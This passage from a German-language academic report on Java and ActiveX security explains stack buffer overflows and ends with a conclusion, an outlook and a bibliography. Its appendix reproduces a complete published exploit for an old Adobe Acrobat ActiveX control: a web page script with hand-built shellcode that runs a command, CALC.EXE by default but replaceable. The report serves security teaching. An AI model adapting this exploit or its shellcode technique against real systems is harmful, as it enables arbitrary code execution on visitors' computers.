Sie benutzt dazu eine unvorsichtig implementierte Funktion eines Adobe Acrobat Plugins zur Darstellung von PDFDatein. Der in die Internetseite zu integrierende Programmcode ist im Anhang A 20 Kapitel 5: ActiveX zu finden. Er ist unter der aktuellen Adobe-Plugin Version 5.0 nicht mehr lauffähig, war aber in der Lage auf dem System, von dem aus die Seite aufgerufen wurde einen beliebigen Befehl auszuführen. Eine Bufferoverflow Attacke nutzt Schwachstellen in der Implementation von Programmen aus, denen Parameter oder andere zu verarbeitende Daten übergeben werden können. Die Schwäche besteht darin, dass bei der Verarbeitung von übergebenen Daten, diese Daten in den Hauptspeicher kopiert werden, ohne dass die Grösse des dafür reservierten Speicherbereichs überprüft wird. Wird Beispielsweise als Parameter ein String von einer gewissen Länge erwartet, doch ein weitaus längerer String übergeben, wird trotzdem der ganze String in den Speicher geschrieben. Dabei werden andere Daten, die sich ebenfalls im Speicher befinden überschrieben. Falls sich das Programm in diesem Moment gerade innerhalb einer Subroutine befindet, befindet sich auch die Rücksprungadresse ins Hauptprogramm in diesem Speicherbereich. Ziel der Attacke ist es, diese Rücksprungadresse zu überschreiben und dabei eine Adresse zu setzten, die in den Bereich des Speichers springt, an dem sich der übergebenen String befindet. Gelingt dies, wird der Prozessor nach dem durcharbeiten der Subroutine versuchen, den übergebenen String als Programmcode zu interpretieren. Falls sich in dem String also Maschinencode in der Form von Binärwerten (sogenannter Payload ) befindet, der über einen Methodenaufruf des Betriebssystes eine Shell ausführt, erhält der fremde Rechner Zugang zu einer Shell mit den Benutzerrechten des fehlerhaften Programmes. In dem genannten Beispiel übergibt die Funktion pdf.setview() einen längeren String, als das PDF-Plugin erwartet. Die Variable expstr die als String übergeben wird enthält binärer Code, der direkt durch den fremden Prozessor ausgeführt werden kann. Dieser binäre Programmcode öffnet eine Kommandozeile und führt einen beliebigen Befehl (hier im Beispiel CALC.EXE) aus. 21 Kapitel 6 Schlussfolgerung 6.1 Fazit Die Entwickler von Java haben viel Zeit und Aufwand in die Sicherheit von Java investiert. Dadurch haben sie erreicht das in Java ein gutes Sicherheitskonzept umgesetzt worden ist. Bei Java bleibt aufgrund von (möglichen) Fehlern ein gewisses Restrisiko bei der Nutzung von Applets. Das mit Java auch allerhand Unfug getrieben werden kann, wie dies im Abschnitt 4.5 stellt bei geschulten Benutzern kein wirkliches Sicherheitsrisiko dar. Dieses Risiko ist weitaus geringer als beispielsweise das Anheften von Passwörtern auf Notizzetteln am Bildschirm. Bei ActiveX ist das Sicherheitsrisiko unübersehbar, da der Zugriff auf alle Funktionen des Rechners möglich ist, auch wenn durch verschiedene Zertifizierungsmethoden und einstellbaren Sicherheitsebenen eine theoretische Verminderung der Risiken möglich ist. Beide Technologien bieten die Möglichkeit sich selbstausführbare Programme auf den Computer zu laden. Diese Macht ist auf keinen Fall zu unterschätzen und sollte ständig im Bewusstsein bleiben. 6.2 Ausblick In Zukunft werden weitere Fehler in den Implementationen der ActiveX- und Javaumgebungen gefunden werden. Bei Java ist die Chance hoch, dass die meisten der zukünftig aufgedeckten Schwachstellen von der Princeton Java Security Group gefunden werden, da diese auf diese Tätigkeit spezialisiert ist. Bei ActiveX wird es irgendjemand sein. Anhang A ActiveX Exploit Der folgende Exploit [8] stammt aus der Datenbank der Packet Storm Organisation. This control from Adobe Acrobat, can be exploited through the setview method, and because ESP points to the address after the RET address, we can place arbitrary code at this point and JMP to it by RET’ing to a JMP ESP, in this case, one found in Shell32. The code simply executes CALC.EXE then calls ExitProcess to terminate the host without it crashing. I have attempted to notify Adobe of the issue, however they don’t appear to have any form of direct secure@ address. <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" id="pdf"></object> <script language="VBscript"><!-msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) + "Written by Shane Hird") expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA" expstr = expstr + Chr(235) ’Address in SHELL32, Win98 (7FD035EB) of JMP ESP expstr = expstr + Chr(53) ’You may need to use a different address expstr = expstr + Chr(208) expstr = expstr + Chr(127) Kapitel A: ActiveX Exploit ’Stack is slightly trashed, but NOPs fix it up ok expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144) ’MOV EDI, ESP expstr = expstr + Chr(139) + Chr(252) ’ADD EDI, 19 (Size of code) expstr = expstr + Chr(131) + Chr(199) + Chr(25) ’PUSH EAX (Window Style EAX = 1) expstr = expstr + Chr(80) ’PUSH EDI (Address of command line) expstr = expstr + Chr(87) ’MOV EDX, BFFA0960 (WinExec, Win98) expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191) ’CALL EDX expstr = expstr + Chr(255) + Chr(210) ’XOR EAX, EAX expstr = expstr + Chr(51) + Chr(192) ’PUSH EAX expstr = expstr + Chr(80) ’MOV EDX, BFF8D4CA (ExitProcess, Win98) expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191) ’CALL EDX expstr = expstr + Chr(255) + Chr(210) ’Replace with any command + 0 (automatically appended) expstr = expstr + "CALC.EXE" ’Call exploitable method pdf.setview(expstr) --></script> 24 Anhang B Abkürzungsverzeichnis JVM Java Virtual Machine TCB Trusted Computing Base OLE Object Linking and Embedding COM Component Objekt Model VM Virtual Machine Literaturverzeichnis [1] CERT(sm) Advisory CA-96-05. Java Implementations Can Allow Connection to an Arbitrary Host. [2] CERT(sm) Advisory CA-96-07. Weaknesses in Java Byte Code Verifier. [3] David Chappell and David S. Linthicum. ActiveX Demystified, Byte Magazin, September 1997. Website: http://www.byte.com/art/9709/sec5/sec5.htm. [4] Bellovin Cheswick. Firewalls an Internet Security. Addison-Wesley, 1994. [5] Mary Dageforde. Security in Java 2 SDK 1.2. Website: http://java.sun.com/ docs/books/tutorial/security1.2/. [6] Li Gong. Java Security Architecture (JDK1.2). Website: http: //java.sun.com/products/jdk/1.2/docs/guide/security/spec/ security-spec.doc.html. [7] Roger A. Grimes. Malicious Mobile Code. O’Reilly and Associates, Inc., 101 Morris Street, Sebastopol, CA 95472, 1 edition, 2001. ISBN 1-56592-682-X. 524 pp. [8] Shane Hird. Exploit aus der Datenbank der Packe Storm Organization. Website: www.packetstormsecurity.org/9909-exploits/ActiveX_bof.txt. [9] LaDue. Security Threats from Deviant Java Byte Coder. [10] Microsoft. Designing Secure ActiveX Controls. Website: http://msdn. microsoft.com/library/default.asp?url=/workshop/components/ activex/intro.asp. [11] Inc. Sun Microsystems. Java Tutorial. Website: http://java.sun.com/docs/ books/tutorial/security1.2/tour1/step1.html. [12] Inc. Sun Microsystems. The Source for Java Technology. Website: http:// java.sun.com/sfaq/. [13] Mark Vogelsberger. Datenschutz und Datensicherheit, 1999.